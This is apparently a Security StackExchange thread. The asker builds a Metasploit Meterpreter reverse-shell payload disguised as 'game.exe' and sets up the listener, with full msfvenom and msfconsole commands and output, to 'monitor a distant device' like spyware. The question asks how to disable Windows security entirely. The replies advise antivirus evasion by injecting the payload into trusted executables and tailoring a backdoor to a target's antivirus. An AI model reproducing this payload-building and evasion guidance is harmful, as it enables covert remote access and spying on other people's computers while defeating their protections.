-1

I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment for experimentation. My "master system" in this instance was HP EliteBook 8760w laptop. Two problems arose:

My primary ambition in both cases was to monitor a distant device through different interfaces. Firstly I tried to achieve my goal by creating a spyware program. Here's my procedure:

root@smerdjakov:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 -f exe > game.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
root@smerdjakov:~# msfconsole

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.103
lhost => 192.168.0.103
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.0.103:8080 
[*] Starting the payload handler...
msf exploit(handler) >

To this point, all went as intended: I compiled all of the functions, I got the .exe file with a payload. The main idea was to run this program on another computer (with Windows 7/8/10 OS) and the Metasploit prompt would automatically start monitoring the system. However, when I tried to run my game.exe as an administrator on Windows 10, this message popped up:

Operation did not complete successfully because a file contains a virus or
potentially unwanted software.

I added a strong layer of encryption so I found it peculiar that my program wouldn't start. On my Kali Linux I opened game.exe with Leafpad. All that I found was:

 MZ

Is this normal? Firstly, I'd like to know how to turn off Windows security completely, and secondly, if my game.exe file is even functional. I should mention that after 'MZ' there is another glyph that StackExchange interface can't interpret: it looks like a square with two zeros on top and a 9 and 0 at the bottom. Like so:

MZ 0 0
   9 0

Your help is much appreciated. Thank you in advance.

1
  • title does not match question: your question is simply about turning off security on Windows, and you are wondering why a text editor did not represent a binary in a way you understood. You will want to search here for 'meterpreter AV evasion' – schroeder Jul 16 '17 at 16:56
3

Well the issue here seems to be an issue of evading your windows anti-virus. Since AV evasion is one of favorite topics allow me to give some helpful tips!

-msfvenom gives lots of different encoders to write your exploits in, however encoding your exe file multiple times doesn't mean that it will bypass AV. In practice the encoders are used to get rid of bad chars in a payload, etc.

-The best way to get past anti-virus program is to write your own exe, this means making your own stubs, templates and etc. Try reading this http://schierlm.users.sourceforge.net/avevasion.html

-Or my personal favorite, injection your payload into a pre-existing exe file (perhaps a trusted program..?) give this a read https://www.offensive-security.com/metasploit-unleashed/backdooring-exe-files/

Good luck

1
  • There isnt really an easy way to install backdoors this is because if the AV was to get really smart they can monitor outgoing connections. Or the user can use wireshark and see where all of these other packets are going. One other piece of advice I would give you is, learn what AV your target uses, then create your own code to bypass that one AV. Yes it is not really easy but it the best option for success. Most of the time, time isn't as important as success so playing a long game might be the best bet. Then create a backdoor now that you have researched your targets AV software. Good Luck. – Paul_C Aug 11 '17 at 18:05

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.